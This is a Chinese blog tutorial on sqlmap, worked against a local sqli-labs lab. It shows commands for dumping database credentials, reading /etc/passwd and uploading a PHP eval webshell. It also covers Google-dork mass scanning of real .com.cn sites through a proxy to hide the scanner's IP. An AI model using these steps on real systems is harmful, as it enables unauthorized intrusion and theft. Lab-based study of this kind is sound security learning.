从一开始的网络攻防(三):sqlmap快速上手

一、确定目标

使用sqlmap的第一步是确定探测的目标,一般有四种:

  • 数据库
  • URL
  • 文件
  • Google批量扫

环境

Target IP: 192.168.8.133

Port: 13306(Mysql)、8088(sqli_labs)

mysql: docker pull的最新mysql

sqlmap github:https://github.com/sqlmapproject/sqlmap

直连数据库

直连数据库获得旗标
python sqlmap.py -d "mysql://root:root@192.168.8.133:13306/demo1" -f --banner
  • -d 表示直连
  • mysql 表示数据库类型
  • root 用户名
  • root 密码
  • 192.168.8.133:13306 IP和端口
  • demo1 数据库
  • -f 获取指纹
  • --banner 获取旗标

直连数据库获得用户及权限
python sqlmap.py -d "mysql://root:root@192.168.8.133:13306/demo1" -f --banner -users
  • -users 获得用户及权限

URL探测

sqlmap直接对单一URL探测,参数使用-u--url

GET请求

核心命令:sqlmap -u "url"

python sqlmap.py -u "http://192.168.8.133:8088/Less-1/index.php?id=1" --banner

POST请求

核心命令:sqlmap -u "url" --data "post数据"

python sqlmap.py -u "http://192.168.8.133:8088/Less-12/index.php" -f --banner --data "uname=admin&passwd=admin&submit=Submit"
  • --data表示对参数进行注入

有多个注入点时需要选择以哪个参数进行注入

文件读取目标

sqlmap支持从不同类型的文件中读取目标进行sql注入探测

-l - http请求日志文件

从Burpsuite proxy 或 WebScarab proxy中读取http请求日志文件

1. 设置BurpSuite

2. BurpSuite访问站点-生成http请求日志

3. 文件读取目标
python sqlmap.py -l testburp

-m - 多行文本格式文件

从多行文本格式文件读取多个目标,对多个目标进行探测

文本读取目标
python sqlmap.py -m multest.txt -f --banner

探测到了两个目标,less12因为是POST请求,无法使用这种方式爆破

拿到指纹和旗帜

-r - 文本文件中的http请求

从文本文件中读取http请求作为sql注入探测的目标

1. BurpSuite访问站点 - 拿到http请求信息

以less19为例,是http头referer注入

登陆成功的http请求,将referer:之后的内容改成*

2. 文本读取目标
python sqlmap.py -r httpinfo.txt --dbs

-c - 配置文件

从配置文件sqlmap.conf中读取目标探测

文本读取目标

python sqlmap.py -c sqlmap.conf --dbs

-x - 站点地图文件
  • -x 从sitemap.xml站点地图文件中读取目标探测

Google批量扫注入

sqlmap通过-g自动利用Google获取指定Google hack的目标,然后利用交互问导模式进行sql注入探测

例如:python sqlmap.py -g "inurl:.php?id=1"

python sqlmap.py -g "inurl:.php?id=10 site:.com.cn" \ # 站点包括.com.cn,url包括.php?id=10
--proxy "http://127.0.0.1:8080" \ # 挂代理,防止被封,同时为了访问google
--threads 5 --batch \ # 开5个线程 自动问询
--answer "extendina=N,follow=N,keep=N,exploit=n" \ # 自动化注入中使用,对一些特定问题回答
--smart # 智能化探测,只检查基于错误的注入点

二、注入实操

GET请求注入

(一) 探测数据库名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --dbs --batch
  • --batch 批处理操作,不需要回答yes or no的问题

(二) 探测表名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security --tables --batch
  • -D security 数据库为security
  • --tables 探测数据表

(三) 探测字段名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security -T users --columns --batch
  • -T users 表为users
  • --columns 探测字段名

(四) 探测字段值
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security -T users -C username, password --dump --batch
  • -C username,password 选择username,password字段
  • --dump 获取字段值

(五) 读取敏感文件 - file-read
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --file-read '/etc/passwd' --output-dir "D:\Tools\Web\sqlmap\output" --batch
  • --file-read 读取文件
  • --output-dir "D:\Tools\Web\sqlmap\output" 设定输出位置

(六) 上传一句话木马 - file-write
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --file-write 'D:\path\to\muma.php' --file-dest '/var/www/html/muma4.php' --batch
  • --file-write 'D:\path\to\muma.php' 从本地读取木马
  • --file-dest '/var/www/html/muma4.php' 上传木马到远程目录

木马内容为<?php @eval($_POST['bb']); ?>,上传成功后用webshell工具连接

成功拿下shell

POST请求注入

以less12为例

复制Burpsuite截断的http请求数据包到文本文件中,使用sqlmap -r 文件路径 -p 指定探测参数

(一) 获取http请求信息

bp抓包获得Less12的包,然后将raw格式http数据赋值到sqlinject_Less12.txt文本文件中

(二) 测试参数passwd是否是注入点
sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E
  • --technique E 探测的技术选择为基于错误信息
  • -p uname 探测的参数选择为passwd
(三) 测试当前数据库
sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E --current-db
  • --current-db 获取当前数据库

POST请求盲注

以less15为例

(一) 获得http请求生成target.txt文件

(二) 使用基于时间技术的sqlmap探测
python sqlmap.py -r target.txt --technique T -p uname --dbs --batch
  • --technique T 探测的技术选择为时间
  • -p uname 探测的参数选择为uname

sqlmap进行http头注入

以less19为例

(一) sqlmap自动搜索表单提交内容进行探测(无效)
python sqlmap.py -u "http:/192.168.8.133:8088/Less-19/index.php" --forms
行不通原因

源代码中对username和password字典进行了过滤

(二) 指定参数探测SQL注入(无效)
python sqlmap.py -u "http:/192.168.8.133:8088/Less-19/index.php" --data "uname=admin&passwd=admin&submit=Submit"
行不通原因

参数在源代码中已经过滤过,所以不会成功

(三) 解决方案 - 文件读取目标

指定注入位置进行注入,在保存的文件中,对于参数的修改为*,保存在txt文档中

python sqlmap.py -r httpinfo.txt --dbs

sqlmap Tamper脚本注入

sqlmap提供了很多脚本方便注入时使用,具体脚本位置为sqlmap下面的tamper目录

使用方法

以less33为例,宽字节注入

python sqlmap.py -u "192.168.8.133:8088/Less-33/?id=1" --tamper unmagicquotes --dbs

三、其他参数

性能优化参数

  • --keep-alive 设置持久连接,加快探测速度
  • --null-connection 检索没有body响应的内容,多用于盲注
  • --thread 最大为10设置多线程
  • -o 开启所有默认性能优化
  • -smart 快速判断,只留下有回显的注入点,节约时间
  • --delay 时间设置延迟 当页面无变化,布尔无真假,从来不报错时用延时注入
  • --timeout 时间设置超时
  • --retries 次数设置重新连接次数

等级参数

  • --level 1-5执行的测试等级,cookie在2时测试,use-agent在3时测试
  • --batch 自动选择yes
  • --risk 执行风险等级,默认为1,2增加基于事件的测试语句,3增加or语句的sql测试(注释被过滤掉时,需要用or测试)

代理参数

隐藏自己的真实ip

  • --proxy http://ip:端口
  • --proy-file使用一个包含多条代理的文件中的代理
  • 利用burp代理,隐藏真实地址
python sqlmap.py -g "inurl:.php?id=10 site:.com.cn" \ # 站点包括.com.cn,url包括.php?id=10
--proxy "http://127.0.0.1:8080" \ # 挂burp代理,隐藏真实地址
--threads 5 --batch \ # 开5个线程 自动问询
--answer "extendina=N,follow=N,keep=N,exploit=n" \ # 自动化注入中使用,对一些特定问题回答
--smart # 智能化探测,只检查基于错误的注入点

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/89831.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/89831.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Anaconda 精简路径治理》系列 · 番外篇Conda 虚拟环境路径结构方案全解——六种路径布局对比、优劣与治理建议

Python 多版本环境治理理念驱动的系统架构设计&#xff1a;三维治理、四级隔离、五项自治 原则-CSDN博客 Anaconda 路径精简后暴露 python 及工具到环境变量的配置记录-CSDN博客 【终极实战】Conda/Poetry/Virtualenv/Pipenv/Hatch 多工具协同 AnacondaPyCharm&#xff1a;构建…

容器基础知识3-kubectl、kubeadm 和 kubelet,kube-proxy

kubectl、kubeadm 和 kubelet&#xff0c;kube-proxy的概念和关系一、kubeadm&#xff1a;K8s 集群的 “搭建工程师”核心定位如果把 K8s 集群比作一栋大楼&#xff0c;kubeadm 就是负责 “打地基、搭框架” 的工程师&#xff0c;专门用来快速搭建 K8s 集群的工具。具体工作内容…

langchain调用本地ollama语言模型和嵌入模型

参考&#xff1a;ollama兼容OpenAIEmbeddings的解决思路 解决代码&#xff1a; 访问embedding模型代码 # 测试以下两个引用都可以 from langchain_openai import OpenAIEmbeddings #from langchain_community.embeddings import OpenAIEmbeddings from typing import List,…

gitlab私有化部署

以下是整理好的Markdown格式文档&#xff0c;详细描述了从下载镜像、启动镜像、修改external_url以及设置或重置root密码的步骤。 GitLab 安装与配置指南 本文档将指导您完成GitLab的安装和基本配置过程&#xff0c;包括下载镜像、启动容器、修改外部访问URL(external_url)及设…

CCLink IE转ModbusTCP网关配置无纸记录器(上篇)

本研究案例采用CCLink IE转ModbusTCP网关技术&#xff0c;实现了将记录仪数据传输至三菱PLCPLC的过程。具体操作步骤如下所述。在确保无纸记录仪与PT100传感器传感器的连接无误后&#xff0c;应将无纸记录仪与个人计算机&#xff08;PC&#xff09;通过以太网线进行连接&#x…

近期工作感想:职业规划篇

最近整理博客时&#xff0c;撞见意外的惊喜——17年刚毕业那会儿写的职业规划&#xff0c;静静躺在回收站里。 重读那些碎碎念&#xff0c;忍不住想笑&#xff1a;那时候的焦虑太真切了&#xff0c;哪敢想后来会遇到这么多大佬&#xff0c;推着我往前一直阴暗爬行&#x1f602;…

Matlab自学笔记六十四:求解自变量带有约束条件的方程

1.说明 有一些方程由于实际问题的需要&#xff0c;需要设置一些限制约束条件&#xff0c;例如x>0等&#xff0c;若使用Matlab编程求解&#xff0c;首先尝试使用符号运算求解&#xff08;符号运算可参考文章54&#xff1a;Matlab自学笔记五十四&#xff1a;符号数学工具箱和…

Flutter状态管理篇之ChangeNotifier(二)

目录 前言 一、ChangeNotifier定义 1.ChangeNotifier定义 2.Listenable的定义 二、继承体系 三、核心方法解析 1.类结构与属性分析 1.Listenable的定义 2..核心字段 1.属性解析 1._count 2._listeners 3.为什么不用const [] 4._notificationCallStackDep…

大带宽服务器对于高流量网站的作用

随着科学技术的快速发展&#xff0c;越来越多的网站面临着高流量的访问需求&#xff0c;在同一时间中会有着大量的用户进行访问&#xff0c;同时也提高了该企业的知名度&#xff0c;但是这对于服务器的性能需求也在逐渐增高&#xff0c;而大带宽服务器卓越的性能和稳定的传输能…

2025年算法备案发号规律总结与下半年发号预测

上半年发号规律总结图太糊&#xff1f;可看下方表格&#xff08;左划看全表&#xff09;&#x1f447;今年批次算法备案总批次发布时间所发当批算法材料提交时间段审核周期25年第一批第十批2025/3/122025年1月&#xff08;春节前&#xff09;约2个月25年第二批第十一批2025/5/1…

高光谱相机(Hyperspectral Camera)

高光谱相机&#xff08;Hyperspectral Camera&#xff09;高光谱相机&#xff1a;是一种可以采集连续、多达上百个窄波段的光谱信息的成像设备。它的核心特征是&#xff1a;每个像素点都拥有一个完整的光谱曲线&#xff0c;类似于“像素级别的光谱仪”。举例&#xff1a;普通彩…

经典排序算法之归并排序(Merge Sort)

归并算法定义&#xff1a;所谓归并排序是指将两个或两个以上有序的数列&#xff08;或有序表&#xff09;&#xff0c;合并成一个仍然有序的数列&#xff08;或有序表&#xff09;。这样的排序方法经常用于多个有序的数据文件归并成一个有序的数据文件。归并排序相比较之前的排…

Linux系统环境下 Node.js 20 安装实践:glibc 2.17 兼容方案与工具链优化

前言&#xff1a;在 CentOS 7.9 的生产环境中&#xff0c;默认搭载的 glibc 2.17 是系统的核心依赖&#xff0c;直接升级它可能引发稳定性风险。而 Node.js 20 作为较新的运行时&#xff0c;其与 glibc 的兼容性长期困扰着开发者&#xff1a;为什么有些场景下 Node.js 20 能直接…

构建一个简单的Java框架来测量并发执行任务的时间

文章目录一、完整代码二、代码解释1、方法签名2、初始化CountDownLatch3、提交任务到执行器4、任务线程的逻辑5、主线程的逻辑详细解释总结以下代码实现了一个简单的框架&#xff0c;用于测量并发执行任务的时间。它使用了Executor来执行任务&#xff0c;并通过CountDownLatch来…

精通 triton 使用 MLIR 的源码逻辑 - 第001节:triton 的应用简介

项目使用到 MLIR&#xff0c;通过了解 triton 对 MLIR 的使用&#xff0c;体会到 MLIR 在较大项目中的使用方式&#xff0c;汇总一下。1. Triton 概述OpenAI Triton 是一个开源的编程语言和编译器&#xff0c;旨在简化 GPU 高性能计算&#xff08;HPC&#xff09; 的开发&#…

Python爬虫-政务网站自动采集数据框架

前言 本文是该专栏的第81篇,后面会持续分享python爬虫干货知识,记得关注。 本文,笔者将详细介绍一个基于政务网站进行自动采集数据的爬虫框架。对此感兴趣的同学,千万别错过。 废话不多说,具体细节部分以及详细思路逻辑,跟着笔者直接往下看正文部分。(附带框架完整代码…

GitHub 趋势日报 (2025年07月19日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图1054shadPS4695n8n361remote-jobs321maigret257github-mcp-server249open_deep_res…

2025开源组件安全工具推荐OpenSCA

OpenSCA是国内最早的开源SCA平台&#xff0c;继承了商业级SCA的开源应用安全缺陷检测、多级开源依赖挖掘、纵深代码同源检测等核心能力&#xff0c;通过软件成分分析、依赖分析、特征分析、引用识别、合规分析等方法&#xff0c;深度挖掘组件中潜藏的各类安全漏洞及开源协议风险…

旅游管理实训基地建设:筑牢文旅人才培养的实践基石

随着文旅产业的蓬勃发展&#xff0c;行业对高素质、强实践的旅游管理人才需求日益迫切。旅游管理实训基地建设作为连接理论教学与行业实践的关键纽带&#xff0c;既是深化产教融合的重要载体&#xff0c;也是提升旅游管理专业人才培养质量的核心抓手。一、旅游管理实训基地建设…

网络爬虫的相关知识和操作

介绍 爬虫的定义 爬虫&#xff08;Web Crawler&#xff09;是一种自动化程序&#xff0c;用于从互联网上抓取、提取和存储网页数据。其核心功能是模拟人类浏览行为&#xff0c;访问目标网站并解析页面内容&#xff0c;最终将结构化数据保存到本地或数据库。 爬虫的工作原理 …